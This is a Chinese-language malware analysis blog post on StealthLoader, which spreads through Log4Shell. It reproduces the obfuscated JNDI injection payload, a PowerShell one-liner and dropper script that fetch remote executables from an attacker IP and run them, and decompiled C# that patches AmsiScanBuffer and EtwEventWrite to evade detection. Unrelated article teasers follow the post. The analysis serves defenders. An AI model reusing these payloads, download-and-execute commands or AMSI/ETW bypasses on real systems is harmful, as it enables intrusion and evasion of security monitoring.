利用log4shell传播的StealthLoader病毒分析

VSole2021-12-19 06:19:07

概述

最近log4j爆出重大安全漏洞CVE-2021-44228(也被称为log4shell)。在观测了一系列利用log4shell攻击的活动后,安全研究人员捕获了一批新样本,其中包括StealthLoader。该木马病毒利用宿主机进行挖矿,并尝试逃避探测

漏洞利用方式分析

攻击者采用了一定的混淆方法绕过了防火墙

https://xxx.xxx.xxx/index?
id=${$[::-j]${::-n]${::-d]Sc-i]:S{::-JS{::-d]${::-a}${::-p}://2.56.59[.]123:1389/Basic/Command/Base64,cG93ZXJzaGVsbCAtYyBpZXggKCggTmV3LU9iamVjdCBTeXNOZXQuTmV0LldlYkNsaWVudCApLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3RleHRiaW4ubmV0L3Jhdy8wbDhoNHh1dnhlJykp}

base64解码得到

powershell -c iex (( New-Object SysNet.Net.WebClient ).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))

去textbin下载了一个字符串并执行

0l8h4xuvxe分析

$a="http://2.56.59.123/setup.exe";
$b="c:\windows\temp\setup.exe";
$c = "c:\users\public\setup.exe";
Import-Module BitsTransfer;
try{
    (New-Object System.Net.WebClient).DownloadFile($a, $b);
    Start-Process -FilePath $b;
    exit;
}catch{};
try{
    Start-BitsTransfer -Source $a -Destination $b;
    Start-Process -FilePath $b;
    exit;
}catch{};
try{
    (New-Object System.Net.WebClient).DownloadFile($a, $c);
    Start-Process -FilePath $c;
    exit;
}catch{};
try{
    Start-BitsTransfer -Source $a -Destination $c;
    Start-Process -FilePath $c;
    exit;
}catch{}

获取了setup.exe,并且下载到两个地方,然后创建进程。目前下载服务器以及无法访问。

这里值得注意的是,同时采用了c#内置类和Start-BitsTransfer两种方式下载,增加下载成功率

setup.exe分析

扔进各种云沙箱试一试

先丢进peid走一波~

是一个由C#写成的病毒文件,并且有混淆

丢进dnspy,找到入口点

private static void DatabaseExists(string[] objectInstance)
  {
   NamespaceData.SearchResultReferenceCollection searchResultReferenceCollection = new NamespaceData.SearchResultReferenceCollection();
   string isForwarder = NamespaceData.get_IsForwarder(); // 获取随机字串,这个字符串也是固定的,使用NamespaceData.PropertiesInError相关作为种子,初始化为空串
   string fileName = Process.GetCurrentProcess().MainModule.FileName;
   string str = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System", "SystemBiosVersion", "0").ToString();
   object value = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString", "0"); // 获取计算机相关信息
   NamespaceData.PropertiesInError = str + ((value != null) ? value.ToString() : null);
   int num = BitConverter.ToInt32(SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(NamespaceData.PropertiesInError)), 0); // 由于计算机信息固定,所以每次计算的随机数也是固定的
   searchResultReferenceCollection.CommandField_DefaultCancelCaption = new Random(num + 5);
   string name = new string(Enumerable.Repeat<string>("abcdefghijklmnopqrstuvwxyz", 5).Select(new Func<string, char>(searchResultReferenceCollection.VisitClientParameter)).ToArray<char>());// 产生的name也是固定的
   try
   {
    Mutex.OpenExisting(name); // 创建互斥体
    Environment.Exit(0);
   }
   catch
   {
   }
   Process process = new Process();
   if (!fileName.Contains(isForwarder))
   {
    File.Copy(fileName, "c:\\windows\\temp\\" + isForwarder + ".exe", true); // 复制文件
    process.StartInfo.FileName = "c:\\windows\\temp\\" + isForwarder + ".exe";
    process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // 隐藏窗体
    process.StartInfo.CreateNoWindow = true; 
    process.Start(); // 开始进程
    return;
   }
   process.StartInfo.FileName = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe";
   process.StartInfo.Arguments = "/U " + Process.GetCurrentProcess().MainModule.FileName;
   process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
   process.StartInfo.CreateNoWindow = true;
   process.Start(); // 启动InstallUtil.exe
   Thread.Sleep(5000); // 对抗沙箱
   bool flag = false;
   Process[] processes = Process.GetProcesses();
   for (int i = 0; i < processes.Length; i++)
   {
    if (processes[i].ProcessName.ToLower().Contains("installutil"))
    {
     flag = true;
    }
   }
   if (!flag)
   {
    NamespaceData.InternalInitSortHandle();
   }
  }

可以看到,样本首先获取一个固定的字符串,然后获取系统信息,利用系统信息创建新的种子,这样每次获取到的字符串都是一样的。然后打开一个随机串代表的互斥体,但是这个互斥体一定是不存在的,所以利用异常控制流来到了下面的代码。

然后开始创建进程,首先将自身复制到temp目录下,启动那个进程,而自己则退出

另一个进程启动后,则继续执行下面的操作,比如启动installutil.exe安装程序,否则就执行NamespaceData.InternalInitSortHandle方法

public static void InternalInitSortHandle()
  {
   NamespaceData.Point3DCollection point3DCollection = new NamespaceData.Point3DCollection();
   NamespaceData.DefaultStartChar = Process.GetCurrentProcess().Handle;
   NamespaceData.get_ObjectStateEntry_CannotModifyKeyEntryState();
   NamespaceData.set_DataFormatString();
   Thread.Sleep(1000);
   byte[] rawAssembly = NamespaceData.Write_unsignedByte(NamespaceData.get_UCS4_3412(Convert.FromBase64String("AWaovEI5EN1fKw8MYjzNpjzWUaFLWXMMI4tmB2KTu7s="), CompiledXpathExpr.ChannelPoolKey).ToArray<byte>());
   point3DCollection.PnrpPortBlocked = Assembly.Load(rawAssembly);
   new Thread(new ThreadStart(point3DCollection.set_ActiveButton)).Start();
   for (;;)
   {
    Console.ReadKey(true); // 阻塞并防止CPU占用过高
   }
  }

先执行了set_DataFormatString

private static void set_DataFormatString()
  {
   try
   {
    IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("dpvl1goo")), NamespaceData.DisconnectTransaction("DpvlVfdqExiihu"));
                // 这里ReValidateManifestSignatures是DllImport导入的一个函数,DisconnectTransaction是字符串解密函数
                // amsi.dll AmsiScanBuffer
    byte[] array;
    if (!NamespaceData.get_CustomMetadataNames())
    {
     RuntimeHelpers.InitializeArray(array = new byte[8], fieldof(IconBitmapDecoder.AppSequenceMessageNumber).FieldHandle);
    }
    else
    {
     RuntimeHelpers.InitializeArray(array = new byte[6], fieldof(IconBitmapDecoder.WebPartDisplayModeCollection_DuplicateName).FieldHandle);
    }
    byte[] array2 = array;
    uint dwObjectType;
    NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), 64U, out dwObjectType);
    Marshal.Copy(array2, 0, intPtr, array2.Length);
    uint num;
    NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), dwObjectType, out num);
   }
   catch
   {
   }
  }

将amsi.dll的AmsiScanBuffer更改成了如下指令

0x0: mov eax, 0x80070057
0x5: ret

然后执行了一段汇编代码

通过调试,发现调用了这里

private static void get_ObjectStateEntry_CannotModifyKeyEntryState()
  {
   try
   {
    IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("qwgoo1goo")), NamespaceData.DisconnectTransaction("HwzHyhqwZulwh"));
                // ntdll.dll EtwEventWrite
    byte[] array2;
    if (!NamespaceData.get_CustomMetadataNames())
    {
     byte[] array = new byte[3];
     array[0] = 194;
     array2 = array;
     array[1] = 20;
    }
    else
    {
     (array2 = new byte[1])[0] = 195;
    }
    byte[] array3 = array2;
    uint dwObjectType;
    NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), 64U, out dwObjectType);
    IntPtr intPtr2;
    bool flag = NamespaceData.get_GroupAggBasedExpression(NamespaceData.DefaultStartChar, intPtr, array3, array3.Length, out intPtr2);
    uint num;
    NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), dwObjectType, out num);
   }
   catch
   {
   }
  }

上面的函数名带有混淆性质,查看DllImport如下

        [DllImport("kernel32.dll", EntryPoint = "VirtualProtectEx")]
  private static extern bool .Subscribe>b__7_0(IntPtr inputLanguage, IntPtr pixelsC, UIntPtr Op, uint dwObjectType, out uint show);
  // Token: 0x06000004 RID: 4
  [DllImport("kernel32", EntryPoint = "LoadLibrary")]
  private static extern IntPtr set_CreateNoWindow(string typedMessage);
  // Token: 0x06000005 RID: 5
  [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
  private static extern bool get_GroupAggBasedExpression(IntPtr collectionOfEntityType, IntPtr cbReturn, byte[] totalBytesToSend, int stateGraph, out IntPtr lpPrefixString);
  // Token: 0x06000006 RID: 6
  [DllImport("kernel32", EntryPoint = "GetProcAddress")]
  private static extern IntPtr ReValidateManifestSignatures(IntPtr locKeys, string KeyPair);

先更改了一些属性,然后将ntdll.dll的EtwEventWrite的第一条指令改为ret

行为分析

由于静态分析过于复杂,这里使用火绒进行行为分析,火绒监控到了病毒的释放


根据参考文献[6],该病毒会窃取信息、远程控制等。

重新调试了以下,上面写入汇编代码的地方就是释放病毒的地方,因为尝试保存rawAssembly数组进行分析时火绒检测到了病毒。

总结

经过分析,发现样本中各种函数名、类名都是有误导性质的,这大大干扰了分析工作。并且采用了多种方式比如延时执行、更改dll等方式来对抗沙盒和人工分析。

参考资料

[1] https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/

[2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex.openexisting?view=net-6.0#:~:text=The%20example%20uses%20the%20OpenExisting%20%28String%29%20method%20overload,to%20read%20and%20change%20permissions%20on%20the%20mutex.

[3] https://docs.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0

[4] https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite

[5] https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory#:~:text=WriteProcessMemory%20copies%20the%20data%20from%20the%20specified%20buffer,to%20be%20written%20to%20can%20call%20the%20function.

[6] https://www.pcthreat.com/parasitebyid-22682en.html

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家